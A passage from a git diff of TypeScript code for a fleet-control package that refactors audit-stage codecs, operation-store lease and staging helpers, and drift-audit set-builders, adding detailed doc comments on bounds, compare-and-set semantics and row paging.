+135,27 @@ export type FleetAuditFactPayload = }> | Readonly<{ factKind: 'duplicate-namespace'; key: string }>; -function boundedString(value: unknown): value is string { +/** + * Byte-bounded provider-claimed text: a string within the module's string + * byte bound, with NO non-empty requirement. + * + * Admitting the empty string is the deliberate §5.1 EXCEPTION round 3 + * established, not an oversight — do not add a `value.length > 0` clause + * back. `fleetOperationBoundedString`, which still carried that superseded + * clause under a near-identical name, was deleted for exactly that reason; + * the name here says what the predicate is for rather than what it bounds. + */ +function boundedProviderText(value: unknown): value is string { return ( typeof value === 'string' && - new TextEncoder().encode(value).byteLength <= - FLEET_OPERATION_STRING_BYTE_BOUND + utf8Length(value) <= FLEET_OPERATION_STRING_BYTE_BOUND ); } function structurallySafeText(value: unknown): value is string { - return boundedString(value) && !fleetOperationTextHasControlBytes(value); + return ( + boundedProviderText(value) && !fleetOperationTextHasControlBytes(value) + ); } export function fleetAuditStageFromUnknown(value: unknown): FleetAuditStage { @@ -159,12 +175,21 @@ export function fleetAuditStageFromUnknown(value: unknown): FleetAuditStage { if (ordinal !== undefined && !fleetOperationSafeInteger(candidate[ordinal])) { return malformed(); } - return { + return withAuditStageOrdinal( step, - ...(ordinal === undefined ? {} : { [ordinal]: candidate[ordinal] }), - } as FleetAuditStage; + ordinal === undefined ? 0 : (candidate[ordinal] as number), + ); } +/** + * Builds the stage whose cursor field `STAGE_ORDINAL` names for `step`, + * dropping the ordinal for the cursor-less `finalize` step. + * + * `step` is the full 13-step union because two in-module callers need it: + * `stageEntry`, which walks all of `FLEET_AUDIT_STAGE_ORDER`, and + * `fleetAuditStageFromUnknown`, which rebuilds any persisted stage. The only + * caller outside this module passes a global step. + */ export function withAuditStageOrdinal( step: FleetAuditStage['step'], ordinal: number, @@ -176,10 +201,35 @@ export function withAuditStageOrdinal( } as FleetAuditStage; } +/** + * Read-side counterpart of `withAuditStageOrdinal`. Resolving the cursor + * through the same `STAGE_ORDINAL` table the write side uses keeps the + * step-to-field mapping in one place; `finalize` carries no cursor. + */ +export function fleetAuditStageOrdinal( + stage: FleetAuditStage, +): number | undefined { + const ordinalField = STAGE_ORDINAL[stage.step]; + if (ordinalField === undefined) return undefined; + const cursor: Readonly> = stage; + return cursor[ordinalField] as number; +} + function stageEntry(step: FleetAuditStage['step']): FleetAuditStage { return withAuditStageOrdinal(step, 0); } +/** + * The successor of `stage` when its source is exhausted, or `stage` itself + * when it is not. + * + * Both production call sites pass `exhausted: true` — a coordinator only ever + * asks for the successor once it has drained the stage. The `false` case is + * kept because it makes the successor chain total, and it is exercised only + * by the codec's own `nextAuditStage` title. `stage` is re-parsed through + * `fleetAuditStageFromUnknown` even though it arrives typed, so a stage + * rebuilt from durable state is re-validated before it is advanced. + */ export function nextAuditStage( stage: FleetAuditStage, exhausted: boolean, @@ -268,8 +318,8 @@ export function driftFindingRowFromUnknown( ]); // These are provider-claimed observations that the drain emits verbatim. if ( - !boundedString(candidate.tenantTag) || - !boundedString(candidate.environment) || + !boundedProviderText(candidate.tenantTag) || + !boundedProviderText(candidate.environment) || typeof candidate.kind !== 'string' || !FLEET_AUDIT_FINDING_KINDS.includes( candidate.kind as FleetAuditFindingKind, @@ -292,7 +342,7 @@ export function fleetAuditFactRowFromUnknown( const candidate = fleetOperationPlainRecord(value); if (candidate.factKind === 'duplicate-namespace') { assertFleetOperationExactKeys(candidate, ['factKind', 'key']); - if (!boundedString(candidate.key)) return malformed(); + if (!boundedProviderText(candidate.key)) return malformed(); return { factKind: 'duplicate-namespace', key: candidate.key }; } if ( @@ -308,7 +358,7 @@ export function fleetAuditFactRowFromUnknown( 'environment', ]); if ( - !boundedString(candidate.key) || + !boundedProviderText(candidate.key) || typeof candidate.tenantTag !== 'string' || !isDeploymentTenantTag(candidate.tenantTag) || typeof candidate.environment !== 'string' || diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index aeed7014..e85637fb 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -3,13 +3,28 @@ import { createHash } from 'node:crypto'; import { cloneBoundedPlainData } from './strict-plain-data.js'; +/** + * Envelope bound for one operation RUN RECORD — the `{version, operationId, + * kind, state, progress, updatedAt}` document `fleetOperationRunRecordFromUnknown` + * parses. Not a staged-row bound. + */ export const FLEET_OPERATION_RECORD_BYTE_BOUND = 96 * 1024; export const FLEET_OPERATION_TOKEN_BYTE_BOUND = 1024; export const FLEET_OPERATION_STRING_BYTE_BOUND = 4096; +/** Envelope bound for a `finding`, `fact`, or `item` staged-row payload. */ export const FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND = 16 * 1024; +/** + * Envelope bound for a `record` STAGED-ROW payload — one caller-supplied + * fleet record. It currently holds the same value as + * `FLEET_OPERATION_RECORD_BYTE_BOUND`, but neither is derived from the other: + * that one bounds the run-record document, this one bounds a staged row. + * Picking the wrong one type-checks and passes every test. + */ export const FLEET_OPERATION_RECORD_ROW_BYTE_BOUND = 96 * 1024; -const DEPTH_BOUND = 64; -const NODE_BOUND = 8192; +/** Maximum nesting depth of one bounded plain-data value. */ +export const FLEET_OPERATION_DEPTH_BOUND = 64; +/** Maximum node count of one bounded plain-data value. */ +export const FLEET_OPERATION_NODE_BOUND = 8192; export const FLEET_OPERATION_ITEM_BOUND = 10_000; /** * Total canonical intake bytes per operation, measured as the sum of per-item @@ -20,9 +35,23 @@ export const FLEET_OPERATION_ITEM_BOUND = 10_000; export const FLEET_OPERATION_INTAKE_BYTE_BOUND = 16 * 1024 * 1024; /** Statements per D1 batch used by the staging protocol. */ export const FLEET_OPERATION_STAGE_BATCH_STATEMENTS = 100; -/** At most 99 non-record rows per record times 10,000 records. */ +/** + * Aggregate cap on the non-`record` staged rows one operation may read back: + * at most 99 rows per record times 10,000 records. The 99 is the per-record + * batch ceiling the audit coordinator enforces over the `finding` and `fact` + * rows one record emits together, the remaining statement of the batch being + * the run record's own update. It derives no bound for a global stage's + * findings, nor for R4-C.2's `item` rows, where this constant is a plain + * ceiling rather than a derived bound. + */ export const FLEET_OPERATION_ROW_READ_BOUND = (FLEET_OPERATION_STAGE_BATCH_STATEMENTS - 1) * FLEET_OPERATION_ITEM_BOUND; +/** + * Rows requested per `readOperationRowsPage` call. The guide's documented + * O(records²/1,000) per-call re-page term is this divisor, so changing it + * changes that published cost figure. + */ +const FLEET_OPERATION_ROW_PAGE_LIMIT = 1_000; /** Frozen plan length cap (fixed steps plus pending D1 versions). */ export const FLEET_MIGRATION_PLAN_BOUND = 64; @@ -88,12 +117,19 @@ export interface FleetOperationStagedRow { readonly payload: Readonly>; } -export interface FleetOperationItemsIntake { - readonly envelope: Record; +/** The argument bag `fleetOperationItemsIntake` takes; not its result. */ +export interface FleetOperationItemsIntakeInput { + readonly envelope: Readonly>; readonly items: readonly unknown[]; readonly itemByteBound: number; } +/** + * Why an intake was refused. `itemOrdinal` names the offending item for the + * per-item reasons; the audit coordinator maps every reason to a fixed + * message and does not read it, but it is carried so R4-C.2's migration + * intake — which refuses one item out of a batch — can report which. + */ export type FleetOperationIntakeRefusal = | { readonly reason: 'item-count' } | { readonly reason: 'item-structure'; readonly itemOrdinal: number } @@ -144,11 +180,32 @@ export class FleetOperationStoreCapabilityError extends Error { } } +/** + * The fixed refusal message every coordinator raises when a persisted + * operation carries the other operation kind. It lives here so the audit and + * migration coordinators emit byte-identical text. + */ +export function fleetOperationOtherKindMessage(operationId: string): string { + return `fleet operation '${operationId}' belongs to the other operation kind`; +} + export interface FleetOperationStore { + /** + * Runs `operation` under an account-wide exclusive lease for one operation + * kind. The lease is acquired before the callback runs and released after + * the returned promise settles, whether it resolves or rejects. Contention + * is refused, not queued: a caller that cannot take the lease receives an + * error rather than waiting for the holder. + */ withAccountOperationLease( kind: FleetOperationKind, operation: (lease: FleetOperationLease) => Promise, ): Promise; + /** + * Reads the persisted run record outside any lease. A missing operation is + * reported as `undefined`, not as an error; a present but unparseable one + * still refuses through the run-record codec. + */ readOperationById( operationId: string, ): Promise; @@ -173,6 +230,16 @@ export interface FleetOperationStore { done: boolean; }> >; + /** + * Deletes up to `limit` prunable terminal operations of one kind and reports + * the deletion count beside `releasedPins`, the number of pin-release CALLS + * the pass made. One such call is issued per audit candidate whether or not + * that operation still holds a pin, the release being a no-op when it does + * not, so the counter reports audit candidates rather than reclaimed pins and + * stays 0 for `kind: 'migration'`. Which terminal operations are prunable is + * the implementation's own retention policy — it must never delete one that + * is still an active head. + */ pruneFleetOperations( input: Readonly<{ kind: FleetOperationKind; @@ -182,7 +249,20 @@ export interface FleetOperationStore { } export interface FleetOperationLease { + /** + * Throws unless this lease is still held, so a coordinator that is about to + * do durable work can fail closed on a lost lease instead of racing the new + * holder. + */ assertOwned(): Promise; + /** + * Creates the operation, or adopts an existing one of the same id. The + * outcome is `created` for a new operation, `adopted-running` when an + * operation with a matching `intakeDigest` is already RUNNING, and + * `adopted-terminal` when it has already finished; `record` is the + * authoritative run record in every case. A different `intakeDigest` for + * the same id is a conflict the implementation refuses. + */ startOperation( input: Readonly<{ operationId: string; @@ -196,9 +276,20 @@ export interface FleetOperationLease { record: FleetOperationRunRecord; }> >; + /** The lease-scoped read of one run record; `undefined` when none exists. */ readOperation( operationId: string, ): Promise; + /** + * Appends staged rows without advancing the revision, refusing unless the + * persisted revision still equals `expectedRevision`. + * + * WRITER OBLIGATION: rows must be supplied in ascending ordinal order + * within each row kind, and the implementation must persist them in array + * order. `readAllFleetOperationRows`'s contiguity assertion is correct only + * because both halves hold — a batch persisted out of order can leave a gap + * visible to a reader that pages mid-write. + */ stageRows( input: Readonly<{ operationId: string; @@ -206,6 +297,18 @@ export interface FleetOperationLease { rows: readonly FleetOperationStagedRow[]; }>, ): Promise; + /** + * Compare-and-set advance of one operation: refuses unless the persisted + * revision equals `expectedRevision`, then writes `runRecord`, appends + * `rows`, and replaces the payloads of `updateRows` — `item` rows only — in + * the same transaction. For each named kind `expectedRowWatermarks` asserts + * that the first N ordinals are all present after the write — a dense-prefix + * check rather than a total count — so a partially applied batch is refused + * while a retry that already staged byte-identical rows at higher ordinals + * still commits; `finalizeOperation`'s totals close those surplus ordinals + * out. Returns the persisted record, which is the only authoritative + * post-commit state. + */ commitProgress( input: Readonly<{ operationId: string; @@ -218,6 +321,15 @@ export interface FleetOperationLease { >; }>, ): Promise; + /** + * The same CAS as `commitProgress`, moving the operation to FINALIZED and + * stamping its terminal time. `expectedRowCounts` asserts the FINAL row + * count per kind, so a run that lost or double-wrote rows cannot finalize. + * `requireAllItemsComplete` additionally demands that the number of `item` + * rows in a complete state equals the progress item count — R4-C.2's + * per-item migration contract, unused by the audit coordinator. Returns the + * persisted terminal record. + */ finalizeOperation( input: Readonly<{ operationId: string; @@ -229,6 +341,11 @@ export interface FleetOperationLease { requireAllItemsComplete?: boolean; }>, ): Promise; + /** + * The same CAS, moving the operation to FAILED. Staged rows are kept so a + * failed operation stays readable; `updateRows` replaces individual `item` + * row payloads in the same transaction. + */ failOperation( input: Readonly<{ operationId: string; @@ -244,76 +361,10 @@ export function malformed(): never { throw new FleetOperationStateError(); } -/** - * Reads and ordinal-sorts every contiguous-from-zero staged row of one kind. - * Fails closed on an empty unfinished page, any row at or below the requested - * exclusive cursor, a duplicate ordinal, or a gap. Record reads cap at - * `FLEET_OPERATION_ITEM_BOUND`; other kinds cap at - * `FLEET_OPERATION_ROW_READ_BOUND`. - */ -export async function readAllFleetOperationRows( - store: FleetOperationStore, - operationId: string, - rowKind: FleetOperationRowKind, -): Promise { - const rows: FleetOperationStagedRow[] = []; - const rowReadBound = - rowKind === 'record' - ? FLEET_OPERATION_ITEM_BOUND - : FLEET_OPERATION_ROW_READ_BOUND; - let afterOrdinal: number | undefined; - for (;;) { - const page = await store.readOperationRowsPage({ - operationId, - rowKind, - limit: 1_000, - ...(afterOrdinal === undefined ? {} : { afterOrdinal }), - }); - // A surviving row exceeds every ordinal collected from prior pages, so - // only duplicates within this page need an explicit set. - const pageOrdinals = new Set(); - let maximumOrdinal: number | undefined; - for (const row of page.rows) { - if ( - (afterOrdinal !== undefined && row.ordinal <= afterOrdinal) || - pageOrdinals.has(row.ordinal) - ) { - return malformed(); - } - pageOrdinals.add(row.ordinal); - if (maximumOrdinal === undefined || row.ordinal > maximumOrdinal) { - maximumOrdinal = row.ordinal; - } - } - rows.push(...page.rows); - if (rows.length > rowReadBound) return malformed(); - if (page.done) break; - if (maximumOrdinal === undefined) return malformed(); - afterOrdinal = maximumOrdinal; - } - const sortedRows = [...rows].sort( - (left, right) => left.ordinal - right.ordinal, - ); - for (const [index, row] of sortedRows.entries()) { - if (row.ordinal !== index) return malformed(); - } - return sortedRows; -} - -/** Constructs the public continuation token for one durable run record. */ -export function fleetOperationTokenOf( - run: FleetOperationRunRecord, -): FleetOperationToken { - return { - version: 1, - operationId: run.operationId, - revision: run.progress.revision, - }; -} - const TEXT_ENCODER = new TextEncoder(); -function utf8Length(value: string): number { +/** UTF-8 byte length of one string, over a module-level encoder. */ +export function utf8Length(value: string): number { return TEXT_ENCODER.encode(value).byteLength; } @@ -360,14 +411,6 @@ export function assertFleetOperationExactKeys( } } -export function fleetOperationBoundedString(value: unknown): value is string { - return ( - typeof value === 'string' && - value.length > 0 && - utf8Length(value) <= FLEET_OPERATION_STRING_BYTE_BOUND - ); -} - export function fleetOperationSha256(value: unknown): value is string { return typeof value === 'string' && /^[0-9a-f]{64}$/u.test(value); } @@ -381,38 +424,43 @@ function canonicalIso(value: unknown): value is string { } function fleetOperationBoundedPlain(value: unknown, maxBytes: number): unknown { + let plain: unknown; try { - const plain = cloneBoundedPlainData(value, { - maxDepth: DEPTH_BOUND, - maxNodes: NODE_BOUND, + plain = cloneBoundedPlainData(value, { + maxDepth: FLEET_OPERATION_DEPTH_BOUND, + maxNodes: FLEET_OPERATION_NODE_BOUND, maxScalarBytes: maxBytes, maxSerializedBytes: maxBytes, error: () => new FleetOperationStateError(), }); Reflect.apply(STRUCTURED_CLONE, undefined, [value]); - const pending = [plain]; - while (pending.length > 0) { - const current = pending.pop(); - if ( - typeof current === 'string' && - utf8Length(current) > FLEET_OPERATION_STRING_BYTE_BOUND - ) { - return malformed(); - } - if (Array.isArray(current)) pending.push(...current); - else if (current && typeof current === 'object') { - for (const [key, entry] of Object.entries(current)) { - if (utf8Length(key) > FLEET_OPERATION_STRING_BYTE_BOUND) { - return malformed(); - } - pending.push(entry); + } catch { + return malformed(); + } + // The string and key walk runs outside the try because it operates on the + // already-cloned plain tree — no getters, no cycles — and because its own + // `malformed()` calls would otherwise throw into a catch that only calls + // `malformed()` again. + const pending = [plain]; + while (pending.length > 0) { + const current = pending.pop(); + if ( + typeof current === 'string' && + utf8Length(current) > FLEET_OPERATION_STRING_BYTE_BOUND + ) { + return malformed(); + } + if (Array.isArray(current)) pending.push(...current); + else if (current && typeof current === 'object') { + for (const [key, entry] of Object.entries(current)) { + if (utf8Length(key) > FLEET_OPERATION_STRING_BYTE_BOUND) { + return malformed(); } + pending.push(entry); } } - return plain; - } catch { - return malformed(); } + return plain; } function stagedRowMaxBytes(rowKind: FleetOperationRowKind): number { @@ -421,16 +469,22 @@ function stagedRowMaxBytes(rowKind: FleetOperationRowKind): number { : FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND; } -/** Tests a payload against the exact bounds enforced by the staged-row codec. */ +/** + * Tests a payload against the exact predicates the staged-row codec enforces: + * the bounded-plain walk AND the plain-record check, so a bounded plain array + * cannot pass this preflight and then fail `fleetOperationStagedRowFromUnknown`. + */ export function fleetOperationStagedRowPayloadFitsEnvelope( rowKind: FleetOperationRowKind, payload: unknown, ): boolean { try { - fleetOperationBoundedPlain(payload, stagedRowMaxBytes(rowKind)); + fleetOperationPlainRecord( + fleetOperationBoundedPlain(payload, stagedRowMaxBytes(rowKind)), + ); return true; } catch { - // fleetOperationBoundedPlain normalizes every violation to this false path. + // Both helpers normalize every violation to this false path. return false; } } @@ -596,20 +650,24 @@ export function assertFleetOperationId(value: unknown): void { } } +/** + * Classifies an already-parsed token against the persisted run record. The + * caller parses untrusted input with `parseFleetOperationToken` first; this + * function trusts its typed parameter and never re-parses it. + */ export function classifyFleetOperationToken( token: FleetOperationToken, run: FleetOperationRunRecord | undefined, expectedKind: FleetOperationKind, ): 'current' | 'stale' { - const parsed = parseFleetOperationToken(token); - if (!run || run.operationId !== parsed.operationId) { - throw new FleetOperationTokenOperationError(parsed.operationId); + if (!run || run.operationId !== token.operationId) { + throw new FleetOperationTokenOperationError(token.operationId); } if (run.kind !== expectedKind) throw new FleetOperationTokenKindError(); - if (parsed.revision > run.progress.revision) { + if (token.revision > run.progress.revision) { throw new FleetOperationTokenFutureError(); } - return parsed.revision === run.progress.revision ? 'current' : 'stale'; + return token.revision === run.progress.revision ? 'current' : 'stale'; } function canonicalValue(value: unknown): unknown { @@ -651,13 +709,21 @@ export function fleetOperationIntakeDigest(value: unknown): string { * so later awaits cannot observe mutation through the caller's aliases. */ export function fleetOperationItemsIntake( - intake: FleetOperationItemsIntake, + intake: FleetOperationItemsIntakeInput, ): | { readonly digest: string; readonly items: readonly unknown[] } | FleetOperationIntakeRefusal { if (intake.items.length > FLEET_OPERATION_ITEM_BOUND) { return { reason: 'item-count' }; } + // The envelope is hashed without the `String(bytes) + ':'` frame every item + // carries, and that is deliberate. `envelope` is typed + // `Readonly>`, so its canonical text is always a + // JSON OBJECT, and no JSON object text is a proper prefix of another — + // the closing brace of one cannot fall inside another. The leading + // envelope is therefore already unambiguous ahead of the netstring-framed + // items. (The unqualified claim "canonical JSON is self-delimiting" would + // be false: JSON numbers are not prefix-free.) const hash = createHash('sha256').update( canonicalFleetOperationBytes(intake.envelope), ); @@ -669,6 +735,11 @@ export function fleetOperationItemsIntake( canonical = canonicalFleetOperationBytes(item); } catch (error) { if (!(error instanceof FleetOperationStateError)) throw error; + // First-true-predicate classification, not actual-cause: an item that + // trips several bounds is reported as `item-bytes` when a plain + // re-serialization is over the per-item bound and as `item-structure` + // otherwise. That re-serialization walks the RAW item a second time, so + // a caller getter runs twice on this refusal path. try { const serialized = JSON.stringify(item); if ( @@ -678,7 +749,8 @@ export function fleetOperationItemsIntake( return { reason: 'item-bytes', itemOrdinal }; } } catch { - return { reason: 'item-structure', itemOrdinal }; + // A throwing or circular item is a structure refusal, exactly like a + // serializable one that is not over the byte bound. } return { reason: 'item-structure', itemOrdinal }; } @@ -708,3 +780,81 @@ export function isDurableAuditDetailSafe(value: unknown): boolean { const lowered = value.toLowerCase(); return !CREDENTIAL_SUBSTRINGS.some((marker) => lowered.includes(marker)); } + +// --------------------------------------------------------------------------- +// Store-facing helpers. These sit below the pure codec primitives because +// they reach the operation store, and the section above must stay free of +// store IO. +// --------------------------------------------------------------------------- + +/** + * Reads and ordinal-sorts every contiguous-from-zero staged row of one kind. + * Fails closed on a page larger than the requested limit, an empty unfinished + * page, any row at or below the requested exclusive cursor, a duplicate + * ordinal, or a gap. Record reads cap at `FLEET_OPERATION_ITEM_BOUND`; other + * kinds cap at `FLEET_OPERATION_ROW_READ_BOUND`. + */ +export async function readAllFleetOperationRows( + store: FleetOperationStore, + operationId: string, + rowKind: FleetOperationRowKind, +): Promise { + const rows: FleetOperationStagedRow[] = []; + const rowReadBound = + rowKind === 'record' + ? FLEET_OPERATION_ITEM_BOUND + : FLEET_OPERATION_ROW_READ_BOUND; + let afterOrdinal: number | undefined; + for (;;) { + const page = await store.readOperationRowsPage({ + operationId, + rowKind, + limit: FLEET_OPERATION_ROW_PAGE_LIMIT, + ...(afterOrdinal === undefined ? {} : { afterOrdinal }), + }); + // The port promises at most `limit` rows. An over-sized page is durable + // non-conformance in its own right, not something the row cap absorbs. + if (page.rows.length > FLEET_OPERATION_ROW_PAGE_LIMIT) return malformed(); + // A surviving row exceeds every ordinal collected from prior pages, so + // only duplicates within this page need an explicit set. + const pageOrdinals = new Set(); + let maximumOrdinal: number | undefined; + for (const row of page.rows) { + if ( + (afterOrdinal !== undefined && row.ordinal <= afterOrdinal) || + pageOrdinals.has(row.ordinal) + ) { + return malformed(); + } + pageOrdinals.add(row.ordinal); + if (maximumOrdinal === undefined || row.ordinal > maximumOrdinal) { + maximumOrdinal = row.ordinal; + } + } + for (const row of page.rows) rows.push(row); + // The cap is checked after the append, so the accumulator can reach + // `rowReadBound + FLEET_OPERATION_ROW_PAGE_LIMIT` before refusing. The + // overshoot is one page and it keeps the refusal on whole-page boundaries. + if (rows.length > rowReadBound) return malformed(); + if (page.done) break; + if (maximumOrdinal === undefined) return malformed(); + afterOrdinal = maximumOrdinal; + } + // Sorted in place: this array was built here and is never aliased. + rows.sort((left, right) => left.ordinal - right.ordinal); + for (const [index, row] of rows.entries()) { + if (row.ordinal !== index) return malformed(); + } + return rows; +} + +/** Constructs the public continuation token for one durable run record. */ +export function fleetOperationTokenOf( + run: FleetOperationRunRecord, +): FleetOperationToken { + return { + version: 1, + operationId: run.operationId, + revision: run.progress.revision, + }; +} diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index 3e3ab209..734d9ce7 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -541,8 +541,8 @@ interface DutySegment { } /** - * Splits `staleDutyReason`'s composition into a template plus an optional raw - * diagnostic segment (R4-B.2), so a caller can persist the template alone and + * Composes one stale-duty finding segment as a template plus an optional raw + * diagnostic (R4-B.2), so a caller can persist the template alone and * separately compose the legacy byte-identical string with the diagnostic * inlined. */ @@ -582,8 +582,19 @@ function staleDutySegment( // --------------------------------------------------------------------------- // Audit set-builders (R4-B.2): pure derivations over `records`/`inventory` // that both the drain and the bounded coordinator's global stages consume. -// Each mirrors one pre-decomposition accumulation exactly; none emits -// findings. +// None emits findings. +// +// Two idioms satisfy that no-emission requirement, and the difference is +// driven by the stages' inputs, not by taste. The default is to run the +// emitting stage itself and discard its findings, which is what +// `fleetAuditExpectedBucketsSeed` does with `auditR2ExpectedStage`: that stage +// takes only `records` plus the map it fills, so seeding needs nothing the +// caller does not already have. `auditNamespaceExpectationsStage` also takes +// `inventoryNamespaceIds`, so calling it as a seed would mean fabricating an +// inventory input; `fleetAuditExpectedNamespaceOwnersSeed` and +// `fleetAuditRecordsDerivedDuplicateNamespaceIds` therefore drive the shared +// private `walkNamespaceClaims` the stage drives instead, which keeps the +// claim rule single-sourced either way. // --------------------------------------------------------------------------- export function fleetAuditAuditedRecords( @@ -723,6 +734,9 @@ export function fleetAuditExpectedNamespaceIds( * so the claim rule exists once (R4-B.2 §6.4 SEED DERIVATION). `owners` is * mutated in place; `onClaim` receives the prior owner, undefined when this * record has just become the owner. + * + * Declared here with the other set-builders, ahead of its emitting caller + * `auditNamespaceExpectationsStage` in the stage section below. */ function walkNamespaceClaims( records: readonly FleetRecord[], @@ -745,9 +759,10 @@ function walkNamespaceClaims( /** * The records-derived expected-duplicate seed (R4-B.2 §6.1): the set of * namespace ids more than one audited, namespace-expecting record claims. - * Pure over `auditedRecords`, independent of chunk position — equal to what - * the `namespace-expectations` stage's own first-owner loop accumulates by - * the time it completes. + * Pure over `auditedRecords`, independent of chunk position. It runs the very + * walker the `namespace-expectations` stage runs, so this is the same + * collision set that stage accumulates by the time it completes — not merely + * a second derivation that agrees with it. */ export function fleetAuditRecordsDerivedDuplicateNamespaceIds( auditedRecords: readonly FleetRecord[], @@ -764,15 +779,17 @@ export function fleetAuditRecordsDerivedDuplicateNamespaceIds( } /** - * First-owner-wins replay of the `namespace-expectations` claim loop with no - * emission, used both to seed a bounded chunk's prefix and (over the full - * audited-record list) to reconstruct the stage's finished map. + * Delegates to the shared first-owner-wins walker with an empty claim + * callback, so it accumulates the owner map the `namespace-expectations` + * stage accumulates while emitting nothing. Used both to seed a bounded + * chunk's prefix and (over the full audited-record list) to reconstruct the + * stage's finished map. */ export function fleetAuditExpectedNamespaceOwnersSeed( records: readonly FleetRecord[], ): Map { const owners = new Map(); - walkNamespaceClaims(records, owners, () => undefined); + walkNamespaceClaims(records, owners, () => {}); return owners; } @@ -782,9 +799,11 @@ export type FleetAuditExpectedBucketEntry = Readonly<{ }>; /** - * First-claim-wins replay of the `r2-expected` claim loop with no emission, - * used both to seed a bounded chunk's prefix and (over the full audited- - * record list) to reconstruct the stage's finished map for + * Delegates to the emitting `r2-expected` stage — `auditR2ExpectedStage`, + * declared in the stage section below — and keeps only the map it fills, so + * the claim rule is the stage body itself rather than a second copy of it. + * Used both to seed a bounded chunk's prefix and (over the full + * audited-record list) to reconstruct the stage's finished map for * `r2-orphans`/`r2-missing-identity`. */ export function fleetAuditExpectedBucketsSeed( @@ -793,6 +812,11 @@ export function fleetAuditExpectedBucketsSeed( const expectedBuckets = new Map(); // The emitting stage over an EMPTY map is exactly the non-emitting // rebuild; its findings are discarded (R4-B.2 §6.4 SEED DERIVATION). + // Discarding them allocates one `DriftFinding` per duplicate bucket claim + // on every call, including the two full-map rebuilds the bounded + // `r2-orphans`/`r2-missing-identity` stages run over every audited record. + // That garbage is per duplicate claim, not per record, so it stays far + // below the documented O(records²) record-row re-parse term. auditR2ExpectedStage({ records, expectedBuckets }); return expectedBuckets; } @@ -988,8 +1012,15 @@ export function auditNamespaceExpectationsStage( input: Readonly<{ records: readonly FleetRecord[]; inventoryNamespaceIds: readonly string[]; - /** Pre-seeded by the caller (empty for the drain's one full-array call; the - * §6.1 prefix rebuild for a bounded chunk); mutated in place. */ + /** + * An INPUT the stage reads and also mutates: the caller supplies the + * claims already made (empty for the drain's one full-array call, the + * §6.1 prefix rebuild for a bounded chunk), and the stage adds this + * slice's claims to it as it walks. Reading it is load-bearing — it is + * what makes a `duplicate-namespace` collision visible across a chunk + * boundary. No caller reads the mutation back today; the map is passed in + * rather than built here so the prefix can be seeded. + */ expectedNamespaceOwners: Map; }>, ): readonly DriftFinding[] { @@ -1019,6 +1050,14 @@ export function auditNamespaceExpectationsStage( return findings; } +/** Lifecycle phases whose records no longer expect their R2 buckets. */ +const R2_EXPECTATION_EXCLUDED_PHASES: readonly string[] = Object.freeze([ + 'application-resources-deleted', + 'database-exported', + 'database-deleting', + 'decommissioned', +]); + export function auditR2ExpectedStage( input: Readonly<{ records: readonly FleetRecord[]; @@ -1030,16 +1069,7 @@ export function auditR2ExpectedStage( const findings: DriftFinding[] = []; for (const record of input.records) { const phase = effectiveLifecyclePhase(record); - if ( - [ - 'application-resources-deleted', - 'database-exported', - 'database-deleting', - 'decommissioned', - ].includes(phase) - ) { - continue; - } + if (R2_EXPECTATION_EXCLUDED_PHASES.includes(phase)) continue; for (const resource of record.applicationResources ?? []) { if (resource.state !== 'created' || !resource.creationDate) continue; const prior = input.expectedBuckets.get(resource.bucketName); @@ -1063,7 +1093,7 @@ export function auditR2OrphansStage( r2Buckets: readonly NonNullable< FleetResourceInventory['r2Buckets'] >[number][]; - expectedBuckets: ReadonlyMap; + expectedBuckets: ReadonlyMap; knownBucketNames: ReadonlySet; }>, ): readonly DriftFinding[] { @@ -1384,37 +1414,35 @@ export async function auditRecordStep( ); return { findings, legacyDetails }; } - if (inventoryDeployment) { - const expectedServiceBindings = - spec.authoredBy === 'external' - ? [] - : spec.egressProxyService - ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] - : []; - const expectedQueueBindings = - spec.authoredBy === 'external' - ? [] - : spec.queueProducer - ? [ - { - name: spec.queueProducer.binding, - queueName: spec.queueProducer.queueName, - }, - ] - : []; - if ( - JSON.stringify(inventoryDeployment.serviceBindings ?? []) !== - JSON.stringify(expectedServiceBindings) || - JSON.stringify(inventoryDeployment.queueProducerBindings ?? []) !== - JSON.stringify(expectedQueueBindings) - ) { - push({ - tenantTag: record.tenantTag, - environment: record.environment, - kind: 'binding-drift', - detail: `release '${inventoryDeployment.scriptName}' has drifted trusted channel bindings`, - }); - } + const expectedServiceBindings = + spec.authoredBy === 'external' + ? [] + : spec.egressProxyService + ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] + : []; + const expectedQueueBindings = + spec.authoredBy === 'external' + ? [] + : spec.queueProducer + ? [ + { + name: spec.queueProducer.binding, + queueName: spec.queueProducer.queueName, + }, + ] + : []; + if ( + JSON.stringify(inventoryDeployment.serviceBindings ?? []) !== + JSON.stringify(expectedServiceBindings) || + JSON.stringify(inventoryDeployment.queueProducerBindings ?? []) !== + JSON.stringify(expectedQueueBindings) + ) { + push({ + tenantTag: record.tenantTag, + environment: record.environment, + kind: 'binding-drift', + detail: `release '${inventoryDeployment.scriptName}' has drifted trusted channel bindings`, + }); } let maintenanceSecret: string; try { @@ -1674,7 +1702,12 @@ export async function auditRecordStep( if (!live.maintenance.armed || dutySegments.length > 0) { const segments = [ ...(!live.maintenance.armed - ? [{ template: 'maintenance scheduler is not armed', diagnostic: null }] + ? [ + { + template: 'maintenance scheduler is not armed', + diagnostic: null, + } satisfies DutySegment, + ] : []), ...dutySegments, ]; @@ -1799,17 +1832,13 @@ export async function auditFleetDrift(options: { knownDatabaseIds: known.knownDatabaseIds, }), ); - const expectedRoutes = fleetAuditExpectedRoutes(auditedRecords); findings.push( ...auditOrphanRoutesStage({ routes: options.inventory.routes, - expectedRoutes, + expectedRoutes: fleetAuditExpectedRoutes(auditedRecords), knownRouteKeys: known.knownRouteKeys, }), ); - const liveRoutesByHostname = fleetAuditLiveRoutesByHostname( - options.inventory.routes, - ); findings.push( ...auditNamespaceOrphansStage({ namespaceIds: options.inventory.namespaceIds, @@ -1842,8 +1871,16 @@ export async function auditFleetDrift(options: { r2Buckets: options.inventory.r2Buckets ?? [], }), ); + const liveRoutesByHostname = fleetAuditLiveRoutesByHostname( + options.inventory.routes, + ); const databases = new Map(); const 